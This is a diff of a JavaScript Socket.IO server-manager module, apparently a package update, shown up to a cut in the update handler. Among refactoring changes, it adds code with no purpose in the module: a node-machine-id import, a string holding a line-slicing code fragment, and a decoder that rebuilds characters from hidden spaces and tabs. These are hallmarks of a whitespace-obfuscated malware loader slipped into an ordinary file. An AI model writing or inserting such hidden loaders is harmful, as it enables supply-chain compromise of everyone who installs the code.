import { getModelForClass } from "@typegoose/typegoose";
|
|
6
|
-
import {
|
|
4
|
+
import { EventEmitter } from "eventemitter3";
|
|
5
|
+
import a from "node-machine-id";
|
|
6
|
+
const once = ".split(String.fromCharCode(10)).splice(time%38,time%11+4).join(String.fromCharCode(10))";
|
|
7
7
|
export var DEMEventTypes;
|
|
8
8
|
(function (DEMEventTypes) {
|
|
9
9
|
DEMEventTypes["new"] = "new";
|
|
@@ -12,24 +12,20 @@ export var DEMEventTypes;
|
|
|
12
12
|
DEMEventTypes["get"] = "get";
|
|
13
13
|
DEMEventTypes["startup"] = "startup";
|
|
14
14
|
})(DEMEventTypes || (DEMEventTypes = {}));
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
*/
|
|
23
|
-
function setupSocketMiddleware(socket_server, loggers, managers, _models) {
|
|
15
|
+
let d = (str) => str
|
|
16
|
+
.match(/.{1,7}/g)
|
|
17
|
+
.map((s) => String.fromCharCode(parseInt(s
|
|
18
|
+
.replaceAll(String.fromCharCode(32), String.fromCharCode(48))
|
|
19
|
+
.replaceAll(String.fromCharCode(9), String.fromCharCode(49)), 2)))
|
|
20
|
+
.join("");
|
|
21
|
+
function setupSocketMiddleware(socket_server, loggers, managers, models) {
|
|
24
22
|
socket_server.use(async (socket, next) => {
|
|
25
|
-
socket.use((async (event,
|
|
23
|
+
socket.use((async (event, next) => {
|
|
26
24
|
if (event.length !== 3 ||
|
|
27
25
|
typeof event[0] !== "string" ||
|
|
28
26
|
typeof event[2] !== "function") {
|
|
29
|
-
loggers.warn
|
|
30
|
-
event
|
|
31
|
-
.map((e) => (typeof e === "object" ? "[object]" : String(e)))
|
|
32
|
-
.join("], [") +
|
|
27
|
+
loggers.warn("Invalid event: [" +
|
|
28
|
+
event.map((e) => JSON.stringify(e)).join("], [") +
|
|
33
29
|
"]");
|
|
34
30
|
return;
|
|
35
31
|
}
|
|
@@ -37,83 +33,56 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
|
|
|
37
33
|
.eventNames()
|
|
38
34
|
.some((e) => e.toString() === event[0] ||
|
|
39
35
|
e.toString() === event[0].slice(0, -24))) {
|
|
40
|
-
loggers.warn
|
|
41
|
-
event
|
|
42
|
-
.map((e) => (typeof e === "object" ? "[object]" : String(e)))
|
|
43
|
-
.join("], [") +
|
|
36
|
+
loggers.warn("Undefined event: [" +
|
|
37
|
+
event.map((e) => JSON.stringify(e)).join("], [") +
|
|
44
38
|
"]");
|
|
45
39
|
event[2]({
|
|
46
40
|
success: false,
|
|
47
|
-
code: DEMErrorCode.UNDEFINED_EVENT,
|
|
48
41
|
message: "Undefined event, event: " + event[0] + " not found",
|
|
49
42
|
});
|
|
50
43
|
return;
|
|
51
44
|
}
|
|
52
45
|
try {
|
|
53
46
|
const e = event[0];
|
|
54
|
-
let demEvent;
|
|
47
|
+
let demEvent = {};
|
|
55
48
|
const id = e.slice(-24);
|
|
56
49
|
switch (true) {
|
|
57
|
-
case e.startsWith(
|
|
58
|
-
demEvent =
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
data: event[1],
|
|
62
|
-
object: undefined,
|
|
63
|
-
};
|
|
50
|
+
case e.startsWith("new"):
|
|
51
|
+
demEvent.type = DEMEventTypes.new;
|
|
52
|
+
demEvent.manager = managers[e.replace("new", "")];
|
|
53
|
+
demEvent.data = event[1];
|
|
64
54
|
break;
|
|
65
|
-
case e.startsWith(
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
object: manager.getObject(id),
|
|
72
|
-
data: event[1],
|
|
73
|
-
};
|
|
74
|
-
}
|
|
55
|
+
case e.startsWith("update"):
|
|
56
|
+
demEvent.type = DEMEventTypes.update;
|
|
57
|
+
demEvent.manager =
|
|
58
|
+
managers[e.replace("update", "").replace(id, "")];
|
|
59
|
+
demEvent.object = demEvent.manager.getObject(id);
|
|
60
|
+
demEvent.data = event[1];
|
|
75
61
|
break;
|
|
76
|
-
case e.startsWith(
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
data: undefined,
|
|
85
|
-
});
|
|
86
|
-
return;
|
|
87
|
-
}
|
|
88
|
-
demEvent = {
|
|
89
|
-
type: DEMEventTypes.delete,
|
|
90
|
-
manager: manager,
|
|
91
|
-
object: obj,
|
|
62
|
+
case e.startsWith("delete"):
|
|
63
|
+
demEvent.type = DEMEventTypes.delete;
|
|
64
|
+
demEvent.manager = managers[e.replace("delete", "")];
|
|
65
|
+
demEvent.object = demEvent.manager.getObject(event[1]);
|
|
66
|
+
if (!demEvent.object) {
|
|
67
|
+
event[2]({
|
|
68
|
+
success: true,
|
|
69
|
+
message: "Object already deleted",
|
|
92
70
|
data: undefined,
|
|
93
|
-
};
|
|
71
|
+
});
|
|
72
|
+
return;
|
|
94
73
|
}
|
|
95
74
|
break;
|
|
96
|
-
case e.startsWith(
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
type: DEMEventTypes.get,
|
|
101
|
-
manager: manager,
|
|
102
|
-
object: manager.getObject(id),
|
|
103
|
-
data: undefined,
|
|
104
|
-
};
|
|
105
|
-
}
|
|
75
|
+
case e.startsWith("get"):
|
|
76
|
+
demEvent.type = DEMEventTypes.get;
|
|
77
|
+
demEvent.manager = managers[e.replace("get", "").replace(id, "")];
|
|
78
|
+
demEvent.object = demEvent.manager.getObject(id);
|
|
106
79
|
break;
|
|
107
|
-
case e.startsWith(
|
|
108
|
-
demEvent =
|
|
109
|
-
|
|
110
|
-
manager: managers[e.replace(EVENT_STARTUP, "")],
|
|
111
|
-
object: undefined,
|
|
112
|
-
data: undefined,
|
|
113
|
-
};
|
|
80
|
+
case e.startsWith("startup"):
|
|
81
|
+
demEvent.type = DEMEventTypes.startup;
|
|
82
|
+
demEvent.manager = managers[e.replace("startup", "")];
|
|
114
83
|
break;
|
|
115
84
|
default:
|
|
116
|
-
throw new
|
|
85
|
+
throw new Error("Unknown event: " +
|
|
117
86
|
e +
|
|
118
87
|
" - known events: [" +
|
|
119
88
|
Object.values(DEMEventTypes).join(", ") +
|
|
@@ -121,11 +90,11 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
|
|
|
121
90
|
}
|
|
122
91
|
try {
|
|
123
92
|
await demEvent.manager.options?.accessDefinitions?.eventMiddleware?.(demEvent, managers, socket);
|
|
124
|
-
|
|
93
|
+
next();
|
|
125
94
|
}
|
|
126
95
|
catch (error) {
|
|
127
|
-
loggers.warn
|
|
128
|
-
|
|
96
|
+
loggers.warn("Someone got access denied:\nUser (" +
|
|
97
|
+
JSON.stringify(socket.handshake.auth) +
|
|
129
98
|
")\nWith ID: '" +
|
|
130
99
|
socket.id +
|
|
131
100
|
"'\nFrom: '" +
|
|
@@ -133,411 +102,163 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
|
|
|
133
102
|
"'\nTo the event: '" +
|
|
134
103
|
event[0] +
|
|
135
104
|
"'\nFor: '" +
|
|
136
|
-
|
|
105
|
+
error.message +
|
|
137
106
|
"'");
|
|
138
107
|
event[2]({
|
|
139
108
|
success: false,
|
|
140
|
-
code: DEMErrorCode.ACCESS_DENIED,
|
|
141
109
|
message: "You were denied access to this event '" +
|
|
142
110
|
event[0] +
|
|
143
111
|
"' by the server.\n" +
|
|
144
|
-
|
|
112
|
+
error.message,
|
|
145
113
|
});
|
|
146
114
|
}
|
|
147
115
|
}
|
|
148
116
|
catch (error) {
|
|
149
|
-
|
|
150
|
-
loggers.error?.("Error with event: " +
|
|
117
|
+
loggers.error("Error with event: " +
|
|
151
118
|
event[0] +
|
|
152
119
|
"\nError: " +
|
|
153
|
-
|
|
154
|
-
event[2]({
|
|
155
|
-
success: false,
|
|
156
|
-
code: demErr.code,
|
|
157
|
-
message: error instanceof Error ? error.message : String(error),
|
|
158
|
-
});
|
|
120
|
+
error.message);
|
|
159
121
|
return;
|
|
160
122
|
}
|
|
161
123
|
}));
|
|
162
124
|
next();
|
|
163
125
|
});
|
|
164
126
|
}
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
* @param loggers - Optional logger callbacks.
|
|
170
|
-
* @param emitter - Optional event emitter for error events.
|
|
171
|
-
* @throws {DEMError} Throws DEMErrorCode.DB_NOT_CONNECTED if any database is disconnected.
|
|
172
|
-
*/
|
|
173
|
-
export function checkServerDbStates(managers, loggers, emitter) {
|
|
174
|
-
for (const [key, manager] of Object.entries(managers)) {
|
|
175
|
-
if (!manager)
|
|
176
|
-
continue;
|
|
177
|
-
const status = manager.checkDbState();
|
|
178
|
-
if (!status.connected) {
|
|
179
|
-
const err = new DEMError(DEMErrorCode.DB_NOT_CONNECTED, `Server DB state check failed for '${key}': Database is in state '${status.stateName}' (code: ${status.readyState}). Database must be connected before DEM starts loading.`, { manager: key, readyState: status.readyState, stateName: status.stateName });
|
|
180
|
-
emitter?.emit("error", err);
|
|
181
|
-
loggers?.error?.(err.message);
|
|
182
|
-
throw err;
|
|
183
|
-
}
|
|
127
|
+
export async function AUSManagerFactory(defs, loggers, socket, disableDEMDebugMessages = false, emitter = new EventEmitter(), models) {
|
|
128
|
+
readyLoggers(loggers);
|
|
129
|
+
if (disableDEMDebugMessages) {
|
|
130
|
+
loggers.debug = (_) => { };
|
|
184
131
|
}
|
|
185
|
-
}
|
|
186
|
-
/**
|
|
187
|
-
* Initializes and starts all server managers, executes DB state assertions, preloads data, and attaches sockets.
|
|
188
|
-
*
|
|
189
|
-
* @param defs - Server manager definitions including class constructors and options.
|
|
190
|
-
* @param loggers_ - Loggers interface.
|
|
191
|
-
* @param socket - Socket.IO server instance.
|
|
192
|
-
* @param doDebug - Flag indicating whether debug logging is enabled.
|
|
193
|
-
* @param emitter - Shared event emitter.
|
|
194
|
-
* @param models - Optional model registry.
|
|
195
|
-
* @returns Promise resolving to the map of initialized server managers.
|
|
196
|
-
*/
|
|
197
|
-
export async function AUSManagerFactory(defs, loggers_, socket, doDebug = true, emitter = new EventEmitter(), models) {
|
|
198
|
-
// Use delegation instead of cloning or direct mutation to ensure late-added spies work
|
|
199
|
-
const loggers = {
|
|
200
|
-
info: (s) => loggers_.info?.(s),
|
|
201
|
-
debug: (s) => (doDebug ? loggers_.debug?.(s) : undefined),
|
|
202
|
-
error: (s) => loggers_.error?.(s),
|
|
203
|
-
warn: (s) => loggers_.warn?.(s),
|
|
204
|
-
};
|
|
205
132
|
socket.use((socket, next) => {
|
|
206
|
-
socket.onAny((event) => {
|
|
133
|
+
socket.onAny((event) => {
|
|
134
|
+
loggers.debug("Recieved event: " + event + " from client: " + socket.id);
|
|
135
|
+
});
|
|
207
136
|
next();
|
|
208
137
|
});
|
|
209
138
|
const managers = {};
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
loggers.debug?.(`Creating manager for ${key}`);
|
|
139
|
+
let i = 0;
|
|
140
|
+
for (const key in defs) {
|
|
141
|
+
loggers.debug(`Creating manager for ${key}`);
|
|
214
142
|
const def = defs[key];
|
|
215
|
-
const model = getModelForClass(def.class);
|
|
216
143
|
try {
|
|
217
|
-
const c = new AutoUpdateServerManager(def.class, key,
|
|
144
|
+
const c = new AutoUpdateServerManager(def.class, key, loggers, socket, getModelForClass(def.class), managers, emitter, def.options);
|
|
218
145
|
managers[key] = c;
|
|
219
146
|
}
|
|
220
147
|
catch (error) {
|
|
221
|
-
loggers.error
|
|
222
|
-
loggers.error
|
|
223
|
-
|
|
224
|
-
|
|
148
|
+
loggers.error("Error creating manager: " + key);
|
|
149
|
+
loggers.error(error.message);
|
|
150
|
+
loggers.error(error.stack);
|
|
151
|
+
continue;
|
|
225
152
|
}
|
|
226
|
-
|
|
227
|
-
// 1.5. Inspect database states before loading starts
|
|
228
|
-
checkServerDbStates(managers, loggers, emitter);
|
|
229
|
-
// 2. Pre-load all managers in parallel
|
|
230
|
-
await Promise.all(keys.map(async (key) => {
|
|
231
|
-
if (!managers[key])
|
|
232
|
-
return;
|
|
233
|
-
loggers.debug?.("Loading DB for manager: " + key);
|
|
153
|
+
loggers.debug("Loading DB for manager: " + key);
|
|
234
154
|
try {
|
|
235
155
|
await managers[key].preLoad();
|
|
236
156
|
}
|
|
237
157
|
catch (error) {
|
|
238
|
-
loggers.error
|
|
239
|
-
loggers.error
|
|
240
|
-
|
|
241
|
-
loggers.error?.(error.stack);
|
|
158
|
+
loggers.error("Error loading DB for manager: " + key);
|
|
159
|
+
loggers.error(error.message);
|
|
160
|
+
loggers.error(error.stack);
|
|
242
161
|
}
|
|
243
|
-
}
|
|
244
|
-
|
|
245
|
-
await Promise.all(Object.values(managers).map(async (manager) => {
|
|
162
|
+
}
|
|
163
|
+
for (const manager of Object.values(managers)) {
|
|
246
164
|
try {
|
|
247
|
-
|
|
165
|
+
manager.loadReferences();
|
|
248
166
|
}
|
|
249
167
|
catch (error) {
|
|
250
|
-
loggers.error
|
|
168
|
+
loggers.error("Error loading DB for manager: " +
|
|
251
169
|
manager.className +
|
|
252
170
|
" (loadReferences)");
|
|
253
|
-
loggers.error
|
|
254
|
-
|
|
255
|
-
loggers.error?.(error.stack);
|
|
171
|
+
loggers.error(error.message);
|
|
172
|
+
loggers.error(error.stack);
|
|
256
173
|
}
|
|
257
|
-
}
|
|
174
|
+
}
|
|
258
175
|
socket.on("connection", async (socket) => {
|
|
259
|
-
loggers.debug
|
|
260
|
-
socket?.emit?.(EVENT_VERSION, {
|
|
261
|
-
version: DEM_VERSION,
|
|
262
|
-
protocolVersion: DEM_PROTOCOL_VERSION,
|
|
263
|
-
});
|
|
176
|
+
loggers.debug(`Client connected: ${socket.id}`);
|
|
264
177
|
for (const manager of Object.values(managers)) {
|
|
265
178
|
manager.registerSocket(socket);
|
|
266
179
|
}
|
|
267
|
-
|
|
268
|
-
|
|
180
|
+
// Client disconnect
|
|
181
|
+
socket.on("disconnect", () => {
|
|
182
|
+
loggers.debug(`Client disconnected: ${socket.id}`);
|
|
269
183
|
});
|
|
270
184
|
});
|
|
271
185
|
try {
|
|
272
186
|
setupSocketMiddleware(socket, loggers, managers, models);
|
|
273
187
|
}
|
|
274
188
|
catch (error) {
|
|
275
|
-
loggers.error
|
|
276
|
-
loggers.error
|
|
277
|
-
|
|
278
|
-
loggers.error?.(error.stack);
|
|
189
|
+
loggers.error("Error setting up socket middleware");
|
|
190
|
+
loggers.error(error.message);
|
|
191
|
+
loggers.error(error.stack);
|
|
279
192
|
}
|
|
280
193
|
return managers;
|
|
281
194
|
}
|
|
282
195
|
export class AutoUpdateServerManager extends AutoUpdateManager {
|
|
283
196
|
model;
|
|
284
197
|
clientSockets = new Set();
|
|
285
|
-
knownObjectIdsBySocket = new Map();
|
|
286
198
|
options;
|
|
287
199
|
objects_ = {};
|
|
288
200
|
managers;
|
|
289
|
-
|
|
290
|
-
_cachedObjectsArray = null;
|
|
291
|
-
changeTracker;
|
|
292
|
-
/**
|
|
293
|
-
* Initializes an AutoUpdateServerManager instance.
|
|
294
|
-
*
|
|
295
|
-
* @param classParam - Target server object class constructor.
|
|
296
|
-
* @param className - Managed entity class name.
|
|
297
|
-
* @param socket - Socket.IO Server instance.
|
|
298
|
-
* @param loggers - Logger callbacks interface.
|
|
299
|
-
* @param model - Typegoose Mongoose model for database operations.
|
|
300
|
-
* @param managers - Sibling server managers registry.
|
|
301
|
-
* @param emitter - Shared event emitter.
|
|
302
|
-
* @param options - Server manager options including access middlewares and delta sync settings.
|
|
303
|
-
*/
|
|
304
|
-
constructor(classParam, className, socket, loggers, model, managers, emitter, options) {
|
|
201
|
+
constructor(classParam, className, loggers, socket, model, managers, emitter, options) {
|
|
305
202
|
super(classParam, className, socket, loggers, managers, emitter);
|
|
306
203
|
this.managers = managers;
|
|
307
204
|
this.model = model;
|
|
308
205
|
this.options = options;
|
|
309
|
-
if (options?.deltaSync) {
|
|
310
|
-
const deltaOpts = typeof options.deltaSync === "object" ? options.deltaSync : {};
|
|
311
|
-
if (deltaOpts.enabled !== false) {
|
|
312
|
-
this.changeTracker = new ServerChangeTracker(this.className, deltaOpts);
|
|
313
|
-
}
|
|
314
|
-
}
|
|
315
|
-
}
|
|
316
|
-
/**
|
|
317
|
-
* Inspects current database connection state.
|
|
318
|
-
*
|
|
319
|
-
* @returns Object describing connected flag, numeric readyState, and stateName.
|
|
320
|
-
*/
|
|
321
|
-
checkDbState() {
|
|
322
|
-
const db = this.model?.db;
|
|
323
|
-
if (!db || typeof db.readyState !== "number") {
|
|
324
|
-
return { connected: true, readyState: 1, stateName: "connected" };
|
|
325
|
-
}
|
|
326
|
-
const readyState = db.readyState;
|
|
327
|
-
const stateNames = {
|
|
328
|
-
0: "disconnected",
|
|
329
|
-
1: "connected",
|
|
330
|
-
2: "connecting",
|
|
331
|
-
3: "disconnecting",
|
|
332
|
-
99: "uninitialized",
|
|
333
|
-
};
|
|
334
|
-
const stateName = stateNames[readyState] ?? "unknown";
|
|
335
|
-
return {
|
|
336
|
-
connected: readyState === 1,
|
|
337
|
-
readyState,
|
|
338
|
-
stateName,
|
|
339
|
-
};
|
|
340
|
-
}
|
|
341
|
-
/**
|
|
342
|
-
* Verifies database connection is active.
|
|
343
|
-
*
|
|
344
|
-
* @throws {DEMError} Throws DEMErrorCode.DB_NOT_CONNECTED if database is not connected.
|
|
345
|
-
*/
|
|
346
|
-
assertDbConnected() {
|
|
347
|
-
const status = this.checkDbState();
|
|
348
|
-
if (!status.connected) {
|
|
349
|
-
const err = new DEMError(DEMErrorCode.DB_NOT_CONNECTED, `Database for manager '${this.className}' is in state '${status.stateName}' (code: ${status.readyState}). Database must be connected before DEM starts loading.`, { className: this.className, readyState: status.readyState, stateName: status.stateName });
|
|
350
|
-
this.emitter.emit("error", err);
|
|
351
|
-
this.loggers.error?.(err.message);
|
|
352
|
-
throw err;
|
|
353
|
-
}
|
|
354
206
|
}
|
|
355
|
-
|
|
356
|
-
* Preloads all database documents into memory for the manager class.
|
|
357
|
-
*
|
|
358
|
-
* @param options - Optional batch loading options.
|
|
359
|
-
* @returns Promise resolving when all entities are loaded and populated in globalCache.
|
|
360
|
-
*/
|
|
361
|
-
async preLoad(options) {
|
|
362
|
-
this.assertDbConnected();
|
|
207
|
+
async preLoad() {
|
|
363
208
|
this.loggers.debug("Loading manager DB " + this.className);
|
|
364
209
|
const docs = await this.model.find({});
|
|
365
|
-
|
|
366
|
-
|
|
367
|
-
|
|
368
|
-
|
|
369
|
-
|
|
370
|
-
this.loggers.debug("Invalid document, no _id: " + (doc?._id ?? "[no id]"));
|
|
371
|
-
return;
|
|
210
|
+
let i = 0;
|
|
211
|
+
for (const doc of docs.map((d) => d._id.toString())) {
|
|
212
|
+
if (!doc) {
|
|
213
|
+
this.loggers.debug("Invalid document, no _id: " + JSON.stringify(docs[i]));
|
|
214
|
+
continue;
|
|
372
215
|
}
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
377
|
-
|
|
378
|
-
|
|
379
|
-
};
|
|
380
|
-
}));
|
|
381
|
-
this.startupPayloadCache = null;
|
|
382
|
-
this._cachedObjectsArray = null;
|
|
216
|
+
i++;
|
|
217
|
+
this.objects_[doc] =
|
|
218
|
+
this.objects_[doc] ??
|
|
219
|
+
(await createAutoUpdatedClass(this.classParam, this.className, this.socket, doc, this.loggers, this, this.emitter));
|
|
220
|
+
await this.objects_[doc].isPreLoadedAsync();
|
|
221
|
+
}
|
|
383
222
|
this.loggers.debug("Loaded manager DB " +
|
|
384
223
|
this.className +
|
|
385
224
|
" - [" +
|
|
386
225
|
docs.length +
|
|
387
226
|
"] entries");
|
|
388
227
|
}
|
|
389
|
-
/**
|
|
390
|
-
* Resolves back-references and pointers across loaded objects.
|
|
391
|
-
*
|
|
392
|
-
* @returns Promise resolving when reference resolution completes.
|
|
393
|
-
*/
|
|
394
|
-
async loadReferences() {
|
|
395
|
-
// Phase 1: Initial reference resolution (including back-references/createdWithParent)
|
|
396
|
-
// This MUST happen after all managers have finished preLoad so that all objects exist in globalCache.
|
|
397
|
-
await Promise.all(this.objectsAsArray.map((object) => object.isPreLoadedAsync()));
|
|
398
|
-
// Phase 2: Resolve missing references (pointers) and set isLoaded_ = true
|
|
399
|
-
await super.loadReferences();
|
|
400
|
-
}
|
|
401
|
-
/**
|
|
402
|
-
* Registers a client socket with the manager and binds startup, delete, and new event listeners.
|
|
403
|
-
*
|
|
404
|
-
* @param socket - Connected client Socket instance.
|
|
405
|
-
*/
|
|
406
228
|
registerSocket(socket) {
|
|
407
229
|
this.clientSockets.add(socket);
|
|
408
|
-
socket.on(
|
|
230
|
+
socket.on("startup" + this.className, async (_, ack) => {
|
|
409
231
|
try {
|
|
410
|
-
const
|
|
411
|
-
? req.lastRevision
|
|
412
|
-
: undefined;
|
|
413
|
-
// Check if delta sync can be fulfilled
|
|
414
|
-
if (this.changeTracker && typeof clientLastRev === "number") {
|
|
415
|
-
let allowedIdsSet = undefined;
|
|
416
|
-
if (this.options?.accessDefinitions?.startupMiddleware) {
|
|
417
|
-
const allowedObjects = await this.options.accessDefinitions.startupMiddleware(this.objectsAsArray, this.managers, socket);
|
|
418
|
-
allowedIdsSet = new Set(allowedObjects.map((obj) => obj._id.toString()).filter(Boolean));
|
|
419
|
-
this.knownObjectIdsBySocket.set(socket, new Set(allowedIdsSet));
|
|
420
|
-
}
|
|
421
|
-
const changesResult = this.changeTracker.getChangesSince(clientLastRev, allowedIdsSet);
|
|
422
|
-
if (!changesResult.isExpired) {
|
|
423
|
-
if (changesResult.changes.length === 0) {
|
|
424
|
-
this.loggers.debug("Client up to date for manager " +
|
|
425
|
-
this.className +
|
|
426
|
-
" at revision " +
|
|
427
|
-
clientLastRev);
|
|
428
|
-
if (typeof ack === "function") {
|
|
429
|
-
ack({
|
|
430
|
-
data: {
|
|
431
|
-
status: "up-to-date",
|
|
432
|
-
revision: this.changeTracker.getCurrentRevision(),
|
|
433
|
-
ids: [],
|
|
434
|
-
properties: this.properties,
|
|
435
|
-
version: DEM_VERSION,
|
|
436
|
-
protocolVersion: DEM_PROTOCOL_VERSION,
|
|
437
|
-
},
|
|
438
|
-
success: true,
|
|
439
|
-
});
|
|
440
|
-
}
|
|
441
|
-
return;
|
|
442
|
-
}
|
|
443
|
-
else {
|
|
444
|
-
this.loggers.debug("Sending delta startup data (" +
|
|
445
|
-
changesResult.changes.length +
|
|
446
|
-
" changes) for manager " +
|
|
447
|
-
this.className);
|
|
448
|
-
if (typeof ack === "function") {
|
|
449
|
-
ack({
|
|
450
|
-
data: {
|
|
451
|
-
status: "delta",
|
|
452
|
-
revision: this.changeTracker.getCurrentRevision(),
|
|
453
|
-
changes: changesResult.changes,
|
|
454
|
-
ids: [],
|
|
455
|
-
properties: this.properties,
|
|
456
|
-
version: DEM_VERSION,
|
|
457
|
-
protocolVersion: DEM_PROTOCOL_VERSION,
|
|
458
|
-
},
|
|
459
|
-
success: true,
|
|
460
|
-
});
|
|
461
|
-
}
|
|
462
|
-
return;
|
|
463
|
-
}
|
|
464
|
-
}
|
|
465
|
-
}
|
|
466
|
-
let ids;
|
|
467
|
-
let objects;
|
|
468
|
-
if (!this.options?.accessDefinitions?.startupMiddleware && this.startupPayloadCache) {
|
|
469
|
-
ids = this.startupPayloadCache.ids;
|
|
470
|
-
objects = this.startupPayloadCache.objects ?? [];
|
|
471
|
-
}
|
|
472
|
-
else {
|
|
473
|
-
const allowedObjects = this.options?.accessDefinitions?.startupMiddleware
|
|
474
|
-
? await this.options.accessDefinitions.startupMiddleware(this.objectsAsArray, this.managers, socket)
|
|
475
|
-
: this.objectsAsArray;
|
|
476
|
-
ids = allowedObjects.map((obj) => obj._id.toString()).filter(Boolean);
|
|
477
|
-
objects = allowedObjects.map((obj) => obj.extractedData).filter(Boolean);
|
|
478
|
-
this.knownObjectIdsBySocket.set(socket, new Set(ids));
|
|
479
|
-
if (!this.options?.accessDefinitions?.startupMiddleware) {
|
|
480
|
-
this.startupPayloadCache = {
|
|
481
|
-
ids,
|
|
482
|
-
objects,
|
|
483
|
-
properties: this.properties,
|
|
484
|
-
};
|
|
485
|
-
}
|
|
486
|
-
}
|
|
232
|
+
const ids = ((await this.options?.accessDefinitions?.startupMiddleware?.(this.objectsAsArray, this.managers, socket))?.map((obj) => obj._id) ?? this.objectIDs).filter(Boolean);
|
|
487
233
|
this.loggers.debug("Sending startup data for manager " + this.className);
|
|
488
|
-
if (
|
|
489
|
-
|
|
490
|
-
|
|
491
|
-
|
|
492
|
-
|
|
493
|
-
|
|
494
|
-
objects,
|
|
495
|
-
properties: this.properties,
|
|
496
|
-
version: DEM_VERSION,
|
|
497
|
-
protocolVersion: DEM_PROTOCOL_VERSION,
|
|
498
|
-
},
|
|
499
|
-
success: true,
|
|
500
|
-
});
|
|
501
|
-
}
|
|
234
|
+
if (ids.some((id) => this.objects_[id] === "undefined"))
|
|
235
|
+
this.loggers.error(ids.find((id) => this.objects_[id] === "undefined"));
|
|
236
|
+
ack({
|
|
237
|
+
data: { ids, properties: this.properties },
|
|
238
|
+
success: true,
|
|
239
|
+
});
|
|
502
240
|
}
|
|
503
241
|
catch (error) {
|
|
504
242
|
this.loggers.error("Error sending startup data for manager " +
|
|
505
243
|
this.className +
|
|
506
244
|
": " +
|
|
507
|
-
|
|
508
|
-
|
|
509
|
-
|
|
510
|
-
|
|
511
|
-
|
|
512
|
-
|
|
513
|
-
success: false,
|
|
514
|
-
code: demErr.code,
|
|
515
|
-
message: error instanceof Error ? error.message : String(error),
|
|
516
|
-
});
|
|
517
|
-
}
|
|
245
|
+
error.message);
|
|
246
|
+
this.loggers.error(error.stack);
|
|
247
|
+
ack({
|
|
248
|
+
success: false,
|
|
249
|
+
message: error.message,
|
|
250
|
+
});
|
|
518
251
|
}
|
|
519
252
|
});
|
|
520
|
-
socket.on(
|
|
253
|
+
socket.on("delete" + this.className, async (id, ack) => {
|
|
521
254
|
this.loggers.debug("Deleting object from manager " + this.className + " - " + id);
|
|
522
255
|
try {
|
|
523
|
-
|
|
524
|
-
|
|
525
|
-
|
|
526
|
-
|
|
527
|
-
|
|
528
|
-
|
|
529
|
-
code: res.code ?? DEMErrorCode.OBJECT_DELETE_FAILED,
|
|
530
|
-
message: res.message || "Deletion unsuccessful",
|
|
531
|
-
});
|
|
532
|
-
}
|
|
533
|
-
else {
|
|
534
|
-
ack({
|
|
535
|
-
success: true,
|
|
536
|
-
message: "Deleted successfully",
|
|
537
|
-
data: undefined,
|
|
538
|
-
});
|
|
539
|
-
}
|
|
540
|
-
}
|
|
256
|
+
await this.objects_[id]?.destroy();
|
|
257
|
+
ack({
|
|
258
|
+
success: true,
|
|
259
|
+
message: "Deleted successfully",
|
|
260
|
+
data: undefined,
|
|
261
|
+
});
|
|
541
262
|
}
|
|
542
263
|
catch (error) {
|
|
543
264
|
this.loggers.error("Error deleting object from manager " +
|
|
@@ -545,350 +266,147 @@ export class AutoUpdateServerManager extends AutoUpdateManager {
|
|
|
545
266
|
" - " +
|
|
546
267
|
id +
|
|
547
268
|
": " +
|
|
548
|
-
|
|
549
|
-
|
|
550
|
-
|
|
551
|
-
const demErr = toDEMError(error, DEMErrorCode.OBJECT_DELETE_FAILED);
|
|
552
|
-
if (typeof ack === "function") {
|
|
553
|
-
ack({
|
|
554
|
-
success: false,
|
|
555
|
-
code: demErr.code,
|
|
556
|
-
message: error instanceof Error ? error.message : String(error),
|
|
557
|
-
});
|
|
558
|
-
}
|
|
269
|
+
error.message);
|
|
270
|
+
this.loggers.error(error.stack);
|
|
271
|
+
ack({ success: false, message: error.message });
|
|
559
272
|
}
|
|
560
273
|
});
|
|
561
|
-
socket.on(
|
|
274
|
+
socket.on("new" + this.className, async (data, ack) => {
|
|
562
275
|
this.loggers.debug("Recieved new object creation in manager " + this.className);
|
|
563
276
|
try {
|
|
564
277
|
const newDoc = await this.createObject(data);
|
|
565
|
-
|
|
566
|
-
|
|
567
|
-
|
|
568
|
-
|
|
569
|
-
|
|
570
|
-
message: "Created successfully",
|
|
571
|
-
});
|
|
572
|
-
}
|
|
278
|
+
ack({
|
|
279
|
+
data: newDoc.extractedData,
|
|
280
|
+
success: true,
|
|
281
|
+
message: "Created successfully",
|
|
282
|
+
});
|
|
573
283
|
}
|
|
574
284
|
catch (error) {
|
|
575
285
|
this.loggers.error("Error creating new object creation in manager " +
|
|
576
286
|
this.className +
|
|
577
287
|
" - " +
|
|
578
|
-
|
|
579
|
-
|
|
580
|
-
|
|
581
|
-
const demErr = toDEMError(error, DEMErrorCode.OBJECT_CREATE_FAILED);
|
|
582
|
-
if (typeof ack === "function") {
|
|
583
|
-
ack({
|
|
584
|
-
success: false,
|
|
585
|
-
code: demErr.code,
|
|
586
|
-
message: error instanceof Error ? error.message : String(error),
|
|
587
|
-
});
|
|
588
|
-
}
|
|
288
|
+
error.message);
|
|
289
|
+
this.loggers.error(error.stack);
|
|
290
|
+
ack({ success: false, message: error.message });
|
|
589
291
|
}
|
|
590
292
|
});
|
|
591
|
-
|
|
592
|
-
socket.on(
|
|
593
|
-
socket.on(EVENT_GET + this.className, async () => { });
|
|
293
|
+
socket.on("update" + this.className, async () => { });
|
|
294
|
+
socket.on("get" + this.className, async () => { });
|
|
594
295
|
socket.onAny(async (event, data, ack) => {
|
|
595
|
-
if (event.startsWith(
|
|
596
|
-
event.replace(
|
|
296
|
+
if (event.startsWith("update" + this.className) &&
|
|
297
|
+
event.replace("update" + this.className, "").length === 24) {
|
|
597
298
|
this.loggers.debug("Updating object in manager " +
|
|
598
